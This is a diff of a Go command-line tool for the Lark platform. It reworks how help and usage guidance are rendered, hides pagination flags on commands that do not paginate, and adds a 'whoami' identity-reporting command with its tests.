for _, ex := range a.Examples {
@@ -71,10 +244,13 @@ func renderAffordance(m meta.Method) string {
}
}
if len(lines) > 0 {
fmt.Fprintf(&b, "Examples:\n%s\n", strings.Join(lines, "\n"))
sections = append(sections, "Examples:\n"+strings.Join(lines, "\n"))
}
}
for _, ext := range a.Extensions {
bullets(ext.Label, ext.Items)
}
bullets("Related", a.Related)
return strings.TrimRight(b.String(), "\n")
return strings.Join(sections, "\n\n")
}

View File

@@ -8,15 +8,18 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/internal/cmdmeta"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/meta"
"github.com/spf13/cobra"
)
func TestRenderAffordance(t *testing.T) {
raw := json.RawMessage(`{
"use_when": ["发送文本消息"],
"do_not_use_when": ["群已解散"],
"avoid_when": ["群已解散"],
"prerequisites": ["已获取 chat_id"],
"tips": ["富文本用 msg_type=post"],
"examples": [
{"description":"发一条文本","command":"lark-cli im messages create --params '{...}'"},
{"command":"lark-cli im messages list"},
@@ -29,6 +32,7 @@ func TestRenderAffordance(t *testing.T) {
"When to use:", "发送文本消息",
"Avoid when:", "群已解散",
"Prerequisites:", "已获取 chat_id",
"Tips:", "富文本用 msg_type=post",
"Examples:", "发一条文本", "lark-cli im messages create --params '{...}'",
"lark-cli im messages list", // example with no description -> bare command line
"Related:", "im.messages.list",
@@ -48,9 +52,12 @@ func TestRenderAffordance(t *testing.T) {
}
}
func TestServiceMethod_AffordanceInLong(t *testing.T) {
// Affordance is rendered lazily (at --help time) rather than baked into the
// command's Long, so building a command never carries the affordance block —
// even for a method whose metadata happens to declare one.
func TestServiceMethod_AffordanceNotInLong(t *testing.T) {
withAff := map[string]interface{}{
"path": "messages", "httpMethod": "POST", "description": "发送消息",
"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息",
"affordance": map[string]interface{}{
"examples": []interface{}{
map[string]interface{}{"description": "发文本", "command": "lark-cli im messages create ..."},
@@ -59,14 +66,120 @@ func TestServiceMethod_AffordanceInLong(t *testing.T) {
}
f, _, _, _ := cmdutil.TestFactory(t, testConfig)
cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(withAff), "create", "messages", nil)
if !strings.Contains(cmd.Long, "Examples:") || !strings.Contains(cmd.Long, "lark-cli im messages create ...") {
t.Errorf("affordance examples not in command Long:\n%s", cmd.Long)
if strings.Contains(cmd.Long, "Examples:") {
t.Errorf("affordance must not be baked into Long (lazy):\n%s", cmd.Long)
}
// A method with no affordance adds no guidance block.
plain := map[string]interface{}{"path": "x", "httpMethod": "GET", "description": "d"}
cmd2 := NewCmdServiceMethod(f, imSpec(), meta.FromMap(plain), "list", "x", nil)
if strings.Contains(cmd2.Long, "Examples:") {
t.Errorf("no-affordance method should have no Examples in Long:\n%s", cmd2.Long)
// The lookup ref is recorded so the help path can resolve it later.
if cmd.Annotations[affordanceServiceAnnotation] != "im" || cmd.Annotations[affordanceMethodAnnotation] != "messages.create" {
t.Errorf("affordance ref annotations = %v, want im/messages.create", cmd.Annotations)
}
}
// RenderAffordanceForCmd resolves a command's overlay through the (injectable)
// lookup and renders it; commands without a ref render nothing.
func TestRenderAffordanceForCmd(t *testing.T) {
orig := affordanceLookup
t.Cleanup(func() { affordanceLookup = orig })
affordanceLookup = func(service, methodID string) (json.RawMessage, bool) {
if service != "im" || methodID != "messages.create" {
return nil, false
}
return json.RawMessage(`{"use_when":["发文本消息"],"tips":["富文本用 msg_type=post"],"examples":[{"description":"发一条","command":"lark-cli im messages create ..."}]}`), true
}
f, _, _, _ := cmdutil.TestFactory(t, testConfig)
withRef := map[string]interface{}{"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息"}
cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(withRef), "create", "messages", nil)
block := RenderAffordanceForCmd(cmd)
for _, want := range []string{"When to use:", "发文本消息", "Tips:", "富文本用 msg_type=post", "Examples:", "lark-cli im messages create ..."} {
if !strings.Contains(block, want) {
t.Errorf("RenderAffordanceForCmd missing %q in:\n%s", want, block)
}
}
// No overlay for this method id -> empty block.
noRef := map[string]interface{}{"id": "x.list", "path": "x", "httpMethod": "GET", "description": "d"}
cmd2 := NewCmdServiceMethod(f, imSpec(), meta.FromMap(noRef), "list", "x", nil)
if got := RenderAffordanceForCmd(cmd2); got != "" {
t.Errorf("method with no overlay should render nothing, got:\n%s", got)
}
}
// PrepareMethodHelp composes the guidance into Long at the top: description,
// then the affordance block, then the full-schema pointer — so an agent reads
// when-to-use/examples before the flag list.
func TestPrepareMethodHelp(t *testing.T) {
orig := affordanceLookup
t.Cleanup(func() { affordanceLookup = orig })
affordanceLookup = func(_, _ string) (json.RawMessage, bool) {
return json.RawMessage(`{"use_when":["发文本消息"],"examples":[{"description":"发一条","command":"lark-cli im messages create ..."}]}`), true
}
f, _, _, _ := cmdutil.TestFactory(t, testConfig)
m := map[string]interface{}{"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息"}
cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(m), "create", "messages", nil)
if !PrepareMethodHelp(cmd) {
t.Fatal("PrepareMethodHelp returned false for a service-method command")
}
long := cmd.Long
// Description leads; affordance block sits above the schema pointer.
descAt := strings.Index(long, "发送消息")
useAt := strings.Index(long, "When to use:")
exAt := strings.Index(long, "Examples:")
schemaAt := strings.Index(long, "Full parameter schema:")
if descAt != 0 {
t.Errorf("description should lead Long, got:\n%s", long)
}
if !(descAt < useAt && useAt < exAt && exAt < schemaAt) {
t.Errorf("order should be description < affordance < schema pointer; got desc=%d use=%d ex=%d schema=%d\n%s", descAt, useAt, exAt, schemaAt, long)
}
// A non-service command (no schema-path annotation) is left untouched.
if PrepareMethodHelp(&cobra.Command{Use: "plain"}) {
t.Error("PrepareMethodHelp should return false for a non-service command")
}
}
// domainCmd wires a domain-tagged command with a subcommand under a root, the
// shape PrepareDomainHelp expects.
func domainCmd(short, long string) *cobra.Command {
root := &cobra.Command{Use: "root"}
dom := &cobra.Command{Use: "event", Short: short, Long: long}
cmdmeta.SetDomain(dom, "event")
dom.AddCommand(&cobra.Command{Use: "consume", Run: func(*cobra.Command, []string) {}})
root.AddCommand(dom)
return dom
}
func TestPrepareDomainHelp_PreservesHandAuthoredLong(t *testing.T) {
const long = "Unified event consumption system. Use 'event consume <EventKey>'."
dom := domainCmd("Consume and manage real-time events", long)
if !PrepareDomainHelp(dom, nil) {
t.Fatal("PrepareDomainHelp returned false for a domain-tagged command")
}
if !strings.HasPrefix(dom.Long, long) {
t.Errorf("hand-authored Long must lead; got:\n%s", dom.Long)
}
if !strings.Contains(dom.Long, "Risk levels") {
t.Errorf("domain guidance should be appended; got:\n%s", dom.Long)
}
// Re-rendering must not append the guidance a second time.
PrepareDomainHelp(dom, nil)
if n := strings.Count(dom.Long, "Risk levels"); n != 1 {
t.Errorf("guidance appended %d times across re-renders, want 1:\n%s", n, dom.Long)
}
}
// A service domain carries only a Short at help time; it seeds the base.
func TestPrepareDomainHelp_FallsBackToShort(t *testing.T) {
dom := domainCmd("Message and group chat management", "")
if !PrepareDomainHelp(dom, nil) {
t.Fatal("PrepareDomainHelp returned false for a domain-tagged command")
}
if !strings.HasPrefix(dom.Long, "Message and group chat management") {
t.Errorf("Short should seed Long when no hand-authored Long exists; got:\n%s", dom.Long)
}
}

View File

@@ -60,8 +60,11 @@ func TestServiceFlagGroups_AgentContract(t *testing.T) {
if i := idx("--chat-id"); i < iParams || i > iBody {
t.Errorf("--chat-id not under API Parameters:\n%s", out)
}
if !strings.Contains(out, "chat_id, required") {
t.Errorf("typed flag help format wrong:\n%s", out)
// The redundant "<name>, required|optional." prefix is gone: required-ness is
// carried by the Required:/Optional: subheadings, and the snake-case --params
// key by the schema envelope — so it isn't echoed on every flag line.
if strings.Contains(out, "chat_id, required") || strings.Contains(out, "member_id_type, optional") {
t.Errorf("redundant <name>, required/optional prefix should not appear:\n%s", out)
}
if !strings.Contains(out, "enum: open_id=以 open_id 标识用户|user_id=以 user_id 标识用户") {
t.Errorf("expected compact enum value=meaning inline:\n%s", out)

View File

@@ -30,6 +30,11 @@ func fieldFacts(f meta.Field) []string {
if d := sanitizeFieldDesc(f.Description); d != "" {
facts = append(facts, d)
}
if f.CanonicalType() == "boolean" {
// cobra shows no type word for bools and swallows a separate value as a
// positional, so spell out the presence-only contract.
facts = append(facts, "bool flag (presence = true; omit for false; takes no value)")
}
if opts := f.EnumOptions(); len(opts) > 0 {
facts = append(facts, "enum: "+formatEnumInline(opts))
}
@@ -42,20 +47,15 @@ func fieldFacts(f meta.Field) []string {
return facts
}
// paramFlagUsage renders the typed param flag's help line:
//
// <param_name>, required|optional[. <fact>]...
//
// It leads with the canonical underscore param name (the key this flag
// overrides in --params) and required/optional, then joins the field's facts
// inline.
// paramFlagUsage renders the typed param flag's help line: the field's facts
// joined inline. Required/optional is not repeated here — the grouped help's
// Required:/Optional: subheadings already partition the flags — and the
// snake-case --params key is carried by the schema envelope (each param's
// property + "flag") and the params-only addendum, so it isn't echoed on every
// line either. Returns "" when the field has no facts (cobra then shows the bare
// flag with its type).
func paramFlagUsage(f meta.Field) string {
req := "optional"
if f.Required {
req = "required"
}
parts := append([]string{fmt.Sprintf("%s, %s", f.Name, req)}, fieldFacts(f)...)
return strings.Join(parts, ". ") + "."
return strings.Join(fieldFacts(f), ". ")
}
// paramExample picks a concrete sample for a params-only field's --help snippet:
@@ -103,8 +103,23 @@ func sanitizeOptionDesc(s string) string { return inlineClause(s, "。;;\n\r",
// sanitizeFieldDesc is the field-description policy: one line per field, so
// keep full sentences and cut only at note separators (meta_data appends
// bullet notes after ;/) — the later sentence often carries the key
// affordance, e.g. user_mailbox_id's `可以输入"me"`.
func sanitizeFieldDesc(s string) string { return inlineClause(s, ";\n\r", 60) }
// affordance, e.g. user_mailbox_id's `可以输入"me"`. The trailing doc
// cross-reference is dropped first (see cutDocRef).
func sanitizeFieldDesc(s string) string { return inlineClause(cutDocRef(s), ";\n\r", 60) }
// docRefRe matches a "see the docs" breadcrumb (更多信息参见…/获取方式见…/详见…).
// On the compact flag line the markdown link's URL is stripped, so the
// breadcrumb is a dead pointer — drop it. Anchored on a leading clause separator
// so a subject that runs straight into the phrase isn't orphaned.
var docRefRe = regexp.MustCompile(`[。;;,、]\s*(更多信息|获取方式|获取方法|详见|[请可]?参[见考阅])`)
// cutDocRef truncates s at the first doc-reference breadcrumb.
func cutDocRef(s string) string {
if loc := docRefRe.FindStringIndex(s); loc != nil {
return s[:loc[0]]
}
return s
}
// formatEnumInline renders allowed values for the help line: "v=meaning" when
// the value carries a (sanitized, truncated) description — so opaque numeric

View File

@@ -7,6 +7,7 @@ import (
"context"
"fmt"
"io"
"sort"
"strings"
"github.com/larksuite/cli/errs"
@@ -64,15 +65,38 @@ func registerServiceWithContext(ctx context.Context, parent *cobra.Command, svc
// resource-command chain — one level for a flat dotted resource like
// "chat.members", deeper for genuinely nested resources. A service with no
// methods keeps its bare command (svcCmd is created above regardless).
for _, ref := range apicatalog.ServiceMethods(svc, nil) {
refs := apicatalog.ServiceMethods(svc, nil)
// Collect each resource's verbs up front so resourceShort can summarize a
// resource as its verb list from the first ensureChildCommand call.
verbs := map[string][]string{}
for _, ref := range refs {
key := strings.Join(ref.ResourcePath, ".")
verbs[key] = append(verbs[key], ref.Method.Name)
}
for _, ref := range refs {
resCmd := svcCmd
var path []string
for _, seg := range ref.ResourcePath {
resCmd = ensureChildCommand(resCmd, seg, seg+" operations")
path = append(path, seg)
resCmd = ensureChildCommand(resCmd, seg, resourceShort(seg, verbs[strings.Join(path, ".")]))
}
resCmd.AddCommand(buildMethodCommand(ctx, f, newMethodCommandSpec(ref), nil, parent.PersistentFlags()))
}
}
// resourceShort summarizes a resource as its sorted verb list, or the
// "<name> operations" placeholder for an intermediate group with no methods.
func resourceShort(seg string, verbs []string) string {
if len(verbs) == 0 {
return seg + " operations"
}
sorted := append([]string(nil), verbs...)
sort.Strings(sorted)
return strings.Join(sorted, ", ")
}
// serviceShort is the service command's help summary: the localized description
// from the registry, falling back to the metadata's own description.
func serviceShort(svc meta.Service) string {
@@ -177,7 +201,19 @@ type methodCommandSpec struct {
// the API declares a body.
acceptsBody bool
declaresBody bool
affordance string // rendered hand-authored usage guidance (when-to-use, examples); "" if none
paginates bool // method accepts a page_token param (so --page-all is meaningful)
serviceName string // owning service name (e.g. "approval"), for the lazy affordance lookup
}
// methodPaginates reports whether a method takes a page_token param, the signal
// that makes the --page-all/--page-limit/--page-delay flags meaningful.
func methodPaginates(m meta.Method) bool {
for _, f := range m.Params() {
if f.Name == "page_token" {
return true
}
}
return false
}
func newMethodCommandSpec(ref apicatalog.MethodRef) methodCommandSpec {
@@ -186,6 +222,7 @@ func newMethodCommandSpec(ref apicatalog.MethodRef) methodCommandSpec {
method: m,
schemaPath: ref.SchemaPath(),
servicePath: ref.Service.ServicePath,
serviceName: ref.Service.Name,
risk: m.Risk,
restricts: m.RestrictsIdentity(),
identities: m.Identities(),
@@ -193,7 +230,7 @@ func newMethodCommandSpec(ref apicatalog.MethodRef) methodCommandSpec {
fileFields: detectFileFields(m),
acceptsBody: methodTakesBody(m.HTTPMethod),
declaresBody: len(m.Data()) > 0 || len(m.Files()) > 0,
affordance: renderAffordance(m),
paginates: methodPaginates(m),
}
}
@@ -254,6 +291,14 @@ func buildMethodCommand(ctx context.Context, f *cmdutil.Factory, spec methodComm
cmd.Flags().BoolVar(&opts.PageAll, "page-all", false, "automatically paginate through all pages")
cmd.Flags().IntVar(&opts.PageLimit, "page-limit", 10, "max pages to fetch with --page-all (0 = unlimited)")
cmd.Flags().IntVar(&opts.PageDelay, "page-delay", 200, "delay in ms between pages")
// Keep the pagination flags registered (a harmless no-op if passed) but hide
// them from help on non-paginating commands, so help doesn't imply a
// get/write can paginate.
if !spec.paginates {
for _, name := range []string{"page-all", "page-limit", "page-delay"} {
_ = cmd.Flags().MarkHidden(name)
}
}
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json|ndjson|table|csv")
cmd.Flags().Bool("json", false, "shorthand for --format json")
cmd.Flags().StringVarP(&opts.JqExpr, "jq", "q", "", "jq expression to filter JSON output")
@@ -271,10 +316,11 @@ func buildMethodCommand(ctx context.Context, f *cmdutil.Factory, spec methodComm
// Registered last so the collision guard sees the standard flags above.
opts.binder = newParamFlagBinder(cmd, spec.params, reserved)
// Single composition point for Long: description, affordance, schema
// pointer, and the binder's params-only addendum (params whose flag name is
// taken, reachable via --params only).
cmd.Long = methodLong(m.Description, spec.affordance, spec.schemaPath, opts.binder.paramsOnlyHelp())
// Build-time Long; the agent guidance is added lazily by PrepareMethodHelp
// (setMethodHelpData records the coordinates it needs).
paramsOnly := opts.binder.paramsOnlyHelp()
cmd.Long = methodLong(m.Description, spec.schemaPath, paramsOnly)
setMethodHelpData(cmd, spec.serviceName, m.ID, spec.schemaPath, paramsOnly)
// Group flags for the grouped --help renderer (typed param flags are grouped
// as API Parameters by the binder). tagFlagGroup is a no-op for flags not
@@ -292,13 +338,11 @@ func buildMethodCommand(ctx context.Context, f *cmdutil.Factory, spec methodComm
tagFlagGroup(cmd.Flags(), "file", groupBody)
if fl := cmd.Flags().Lookup("params"); fl != nil {
annotate(fl, flagGroupAnnotation, []string{groupRaw})
// State the precedence rule where the agent reads it: --params is the
// base, typed flags override. Only meaningful when typed flags exist.
// Keep the precedence rule on the flag's own one line (not a multi-line
// note that breaks the one-entry-per-flag rhythm an agent parses). Only
// meaningful when typed flags exist to override.
if len(spec.params) > 0 {
annotate(fl, flagNoteAnnotation, []string{
"Typed API parameter flags above are preferred.",
"If both are set, typed flags override matching keys in --params.",
})
fl.Usage = "Raw URL/query params JSON. Supports - and @file. If both set, typed flags override matching keys in --params."
}
}
for _, name := range []string{"as", "dry-run", "page-all", "page-limit", "page-delay", "yes"} {

163
cmd/whoami/whoami.go Normal file
View File

@@ -0,0 +1,163 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package whoami
import (
"context"
"github.com/spf13/cobra"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/identitydiag"
"github.com/larksuite/cli/internal/output"
)
// whoamiResult is the structured output of `lark-cli whoami`.
//
// The self-vs-delegated distinction is carried by `identity`: a bot identity is
// the app acting as itself; a user identity is the app acting *on behalf of* a
// person (calls are attributed to that user, who is not necessarily present).
// onBehalfOf only *names* that person and so appears only once a user is
// resolved — a user identity that is not signed in still has identity "user"
// but no onBehalfOf yet. Do not read "no onBehalfOf" as "self"; read `identity`.
type whoamiResult struct {
Profile string `json:"profile"`
AppID string `json:"appId"`
Brand core.LarkBrand `json:"brand"`
DefaultAs string `json:"defaultAs"`
Identity string `json:"identity"`
IdentitySource string `json:"identitySource"`
Available bool `json:"available"`
TokenStatus string `json:"tokenStatus"`
OnBehalfOf *delegatedUser `json:"onBehalfOf,omitempty"`
Hint string `json:"hint,omitempty"`
}
// delegatedUser is the user a user-identity acts on behalf of.
type delegatedUser struct {
UserName string `json:"userName,omitempty"`
OpenID string `json:"openId,omitempty"`
}
// Options holds inputs for the whoami command.
type Options struct {
Factory *cmdutil.Factory
As string
}
// NewCmdWhoami creates the top-level whoami command. It reports the identity
// that the next API call would actually use (resolved via Factory.ResolveAs),
// together with the active profile, app, and token status. Output is always
// JSON — whoami is consumed by agents. With the built-in credential path it is
// local-only; when an external credential provider manages tokens, resolving
// the identity may contact that provider.
func NewCmdWhoami(f *cmdutil.Factory) *cobra.Command {
opts := &Options{Factory: f}
cmd := &cobra.Command{
Use: "whoami",
Short: "Show the current effective identity, app, profile, and token status (JSON)",
RunE: func(cmd *cobra.Command, args []string) error {
return whoamiRun(cmd, opts)
},
}
cmdutil.DisableAuthCheck(cmd)
cmdutil.AddAPIIdentityFlag(context.Background(), cmd, f, &opts.As)
// Output is always JSON. Accept (and ignore) --json so existing
// `whoami --json` callers don't break; hide it to avoid implying a non-JSON
// mode exists.
cmd.Flags().Bool("json", true, "deprecated: output is always JSON")
_ = cmd.Flags().MarkHidden("json")
cmdutil.SetRisk(cmd, "read")
return cmd
}
func whoamiRun(cmd *cobra.Command, opts *Options) error {
f := opts.Factory
cfg, err := f.Config()
if err != nil {
return err
}
ctx := cmd.Context()
flagAs := core.Identity(opts.As)
as := f.ResolveAs(ctx, cmd, flagAs)
// Validate as a real API call does (strict mode, then identity) so whoami
// can't preview an identity the next call would refuse.
if err := f.CheckStrictMode(ctx, as); err != nil {
return err
}
if err := f.CheckIdentity(as, []string{"user", "bot"}); err != nil {
return err
}
source := resolveSource(
cmd.Flags().Changed("as"),
flagAs,
f.IdentityAutoDetected,
f.ResolveStrictMode(ctx).ForcedIdentity(),
)
diag := identitydiag.Diagnose(ctx, f, cfg, false)
res := buildResult(cfg, as, source, diag)
output.PrintJson(f.IOStreams.Out, res)
return nil
}
// resolveSource derives how the effective identity became effective.
// Mirrors Factory.ResolveAs precedence: explicit flag wins; otherwise an
// auto-detected result means auto-detect; otherwise a strict-mode forced
// identity means strict-mode; otherwise it came from configured default-as.
// Values are snake_case to match the other enum fields (e.g. tokenStatus).
func resolveSource(changedAs bool, flagAs core.Identity, autoDetected bool, strictForced core.Identity) string {
if changedAs && (flagAs == core.AsUser || flagAs == core.AsBot) {
return "flag"
}
if autoDetected {
return "auto_detect"
}
if strictForced != "" {
return "strict_mode"
}
return "default_as"
}
// buildResult maps the resolved identity and local diagnostics into the output.
// ResolveAs only ever returns user or bot, so the default branch handles user.
func buildResult(cfg *core.CliConfig, as core.Identity, source string, diag identitydiag.Result) *whoamiResult {
defaultAs := cfg.DefaultAs
if defaultAs == "" {
defaultAs = core.AsAuto
}
res := &whoamiResult{
Profile: cfg.ProfileName,
AppID: cfg.AppID,
Brand: cfg.Brand,
DefaultAs: string(defaultAs),
Identity: string(as),
IdentitySource: source,
}
// Use the diagnosed hint as-is: it is tailored to the credential source, so
// it never says "auth login" when that is blocked under an external provider.
switch as {
case core.AsBot:
res.Available = diag.Bot.Available
res.TokenStatus = diag.Bot.Status
if !diag.Bot.Available {
res.Hint = diag.Bot.Hint
}
default: // user
res.Available = diag.User.Available
// Use Status (not the raw TokenStatus) so the vocab matches the bot
// branch: "ready" means usable for both. available stays the canonical
// usable signal; tokenStatus is the readable state behind it.
res.TokenStatus = diag.User.Status
// Set onBehalfOf only when a user is actually resolved; an unresolved
// user identity (not signed in) has no one to act on behalf of yet.
if diag.User.UserName != "" || diag.User.OpenID != "" {
res.OnBehalfOf = &delegatedUser{UserName: diag.User.UserName, OpenID: diag.User.OpenID}
}
if !diag.User.Available {
res.Hint = diag.User.Hint
}
}
return res
}

320
cmd/whoami/whoami_test.go Normal file
View File

@@ -0,0 +1,320 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package whoami
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
"testing"
"github.com/larksuite/cli/errs"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/identitydiag"
)
func TestResolveSource(t *testing.T) {
tests := []struct {
name string
changedAs bool
flagAs core.Identity
autoDetected bool
strictForced core.Identity
want string
}{
{"explicit flag user", true, core.AsUser, false, "", "flag"},
{"explicit flag bot", true, core.AsBot, false, "", "flag"},
{"flag auto falls through to auto-detect", true, core.AsAuto, true, "", "auto_detect"},
{"auto detected", false, "", true, "", "auto_detect"},
{"strict mode", false, "", false, core.AsBot, "strict_mode"},
{"default_as", false, "", false, "", "default_as"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := resolveSource(tt.changedAs, tt.flagAs, tt.autoDetected, tt.strictForced)
if got != tt.want {
t.Errorf("resolveSource() = %q, want %q", got, tt.want)
}
})
}
}
func TestBuildResult_UserValid(t *testing.T) {
cfg := &core.CliConfig{ProfileName: "my-app", AppID: "cli_x", Brand: core.BrandLark, DefaultAs: core.AsAuto}
diag := identitydiag.Result{
User: identitydiag.Identity{Available: true, Status: "ready", TokenStatus: "valid", OpenID: "ou_x", UserName: "Alice"},
}
r := buildResult(cfg, core.AsUser, "auto_detect", diag)
if r.Identity != "user" || r.IdentitySource != "auto_detect" {
t.Fatalf("identity/source = %q/%q", r.Identity, r.IdentitySource)
}
// tokenStatus mirrors the unified Status vocab ("ready"), not the raw "valid".
if !r.Available || r.TokenStatus != "ready" {
t.Fatalf("available=%v status=%q", r.Available, r.TokenStatus)
}
if r.OnBehalfOf == nil || r.OnBehalfOf.OpenID != "ou_x" || r.OnBehalfOf.UserName != "Alice" {
t.Fatalf("onBehalfOf = %#v, want Alice/ou_x", r.OnBehalfOf)
}
if r.Hint != "" {
t.Fatalf("hint = %q, want empty", r.Hint)
}
if r.Profile != "my-app" || r.AppID != "cli_x" || r.Brand != core.BrandLark {
t.Fatalf("app context = %#v", r)
}
}
func TestBuildResult_UserMissingToken(t *testing.T) {
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandLark}
diag := identitydiag.Result{
User: identitydiag.Identity{Available: false, Status: "missing", Hint: "run: lark-cli auth login --help"}, // never logged in
}
r := buildResult(cfg, core.AsUser, "auto_detect", diag)
if r.Available {
t.Fatalf("available = true, want false")
}
if r.TokenStatus != "missing" {
t.Fatalf("tokenStatus = %q, want missing", r.TokenStatus)
}
// whoami renders the diagnosed hint verbatim (single source of truth) so it
// stays correct for the external-provider path without whoami knowing about it.
if r.Hint != diag.User.Hint {
t.Fatalf("hint = %q, want propagated %q", r.Hint, diag.User.Hint)
}
if r.DefaultAs != "auto" {
t.Fatalf("defaultAs = %q, want auto (empty normalized)", r.DefaultAs)
}
}
func TestBuildResult_BotReady(t *testing.T) {
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu, DefaultAs: core.AsBot}
diag := identitydiag.Result{
Bot: identitydiag.Identity{Available: true, Status: "ready"},
}
r := buildResult(cfg, core.AsBot, "default_as", diag)
if r.Identity != "bot" || r.IdentitySource != "default_as" {
t.Fatalf("identity/source = %q/%q", r.Identity, r.IdentitySource)
}
if !r.Available || r.TokenStatus != "ready" {
t.Fatalf("available=%v status=%q", r.Available, r.TokenStatus)
}
if r.OnBehalfOf != nil {
t.Fatalf("bot must not carry onBehalfOf: %#v", r.OnBehalfOf)
}
if r.Hint != "" {
t.Fatalf("hint = %q, want empty", r.Hint)
}
}
func TestBuildResult_BotNotConfigured(t *testing.T) {
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu}
diag := identitydiag.Result{
Bot: identitydiag.Identity{Available: false, Status: "not_configured", Hint: "run: lark-cli config --help"},
}
r := buildResult(cfg, core.AsBot, "auto_detect", diag)
if r.Available {
t.Fatalf("available = true, want false")
}
if r.TokenStatus != "not_configured" {
t.Fatalf("tokenStatus = %q, want not_configured", r.TokenStatus)
}
if r.Hint != diag.Bot.Hint {
t.Fatalf("hint = %q, want propagated %q", r.Hint, diag.Bot.Hint)
}
}
func TestWhoami_BotJSON(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "test-profile", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := NewCmdWhoami(f)
cmd.SetArgs([]string{}) // bare whoami: output is always JSON, no flag needed
if err := cmd.Execute(); err != nil {
t.Fatalf("Execute() error = %v", err)
}
var got whoamiResult
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("json.Unmarshal() error = %v\n%s", err, stdout.String())
}
if got.Identity != "bot" {
t.Fatalf("identity = %q, want bot", got.Identity)
}
if !got.Available || got.TokenStatus != "ready" {
t.Fatalf("available=%v status=%q, want true/ready", got.Available, got.TokenStatus)
}
if got.Profile != "test-profile" {
t.Fatalf("profile = %q, want test-profile", got.Profile)
}
if got.IdentitySource == "" {
t.Fatalf("identitySource empty")
}
if got.OnBehalfOf != nil {
t.Fatalf("bot (self) must not carry onBehalfOf: %#v", got.OnBehalfOf)
}
}
func TestWhoami_RejectsInvalidAs(t *testing.T) {
for _, bad := range []string{"admin", "USER", "bogus123", ""} {
t.Run("as="+bad, func(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := NewCmdWhoami(f)
cmd.SetArgs([]string{"--as", bad})
err := cmd.Execute()
if err == nil {
t.Fatalf("Execute() with --as %q = nil, want validation error", bad)
}
// Lock in the typed validation contract: an unsupported identity must
// surface as a *errs.ValidationError on --as, not just any error.
var ve *errs.ValidationError
if !errors.As(err, &ve) {
t.Fatalf("Execute() with --as %q: error type = %T, want *errs.ValidationError: %v", bad, err, err)
}
if ve.Subtype != errs.SubtypeInvalidArgument {
t.Errorf("Subtype = %q, want %q", ve.Subtype, errs.SubtypeInvalidArgument)
}
if ve.Param != "--as" {
t.Errorf("Param = %q, want %q", ve.Param, "--as")
}
})
}
}
func TestWhoami_ConfigErrorPropagates(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
wantErr := fmt.Errorf("boom")
f.Config = func() (*core.CliConfig, error) { return nil, wantErr }
cmd := NewCmdWhoami(f)
cmd.SetArgs([]string{"--json"})
err := cmd.Execute()
if err == nil {
t.Fatalf("Execute() error = nil, want propagated config error")
}
// The f.Config() failure must propagate unchanged, not be masked by a later
// command-execution error.
if !errors.Is(err, wantErr) {
t.Fatalf("Execute() error = %v, want it to wrap %v", err, wantErr)
}
}
func TestWhoami_StrictModeRejectsCrossIdentity(t *testing.T) {
// Bot-only account → strict mode bot. A real `--as user` call would be
// rejected by CheckStrictMode; whoami must reject it identically rather than
// previewing a user identity the next call would refuse.
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
SupportedIdentities: 2, // bot only
})
cmd := NewCmdWhoami(f)
cmd.SetArgs([]string{"--as", "user", "--json"})
err := cmd.Execute()
if err == nil {
t.Fatalf("Execute() with --as user under strict bot = nil, want strict-mode rejection")
}
var ve *errs.ValidationError
if !errors.As(err, &ve) {
t.Fatalf("error type = %T, want *errs.ValidationError: %v", err, err)
}
}
type fakeExtProvider struct {
name string
account *extcred.Account
}
func (p *fakeExtProvider) Name() string { return p.name }
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
return p.account, nil
}
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
return nil, nil // no UAT served locally; whoami runs with verify=false
}
func externalWhoamiFactory(cfg *core.CliConfig) (*cmdutil.Factory, *bytes.Buffer) {
cred := credential.NewCredentialProvider(
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: cfg.AppID}}},
nil, nil,
func() (*http.Client, error) { return nil, nil },
)
out := &bytes.Buffer{}
f := &cmdutil.Factory{
Config: func() (*core.CliConfig, error) { return cfg, nil },
Credential: cred,
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
}
return f, out
}
// Regression for the external-provider blind spot: with credentials managed by
// an extension provider, a signed-in user must read as available, and an
// unavailable identity must not be told to "auth login" (which is blocked).
func TestWhoami_ExternalProvider_UserReady(t *testing.T) {
cfg := &core.CliConfig{
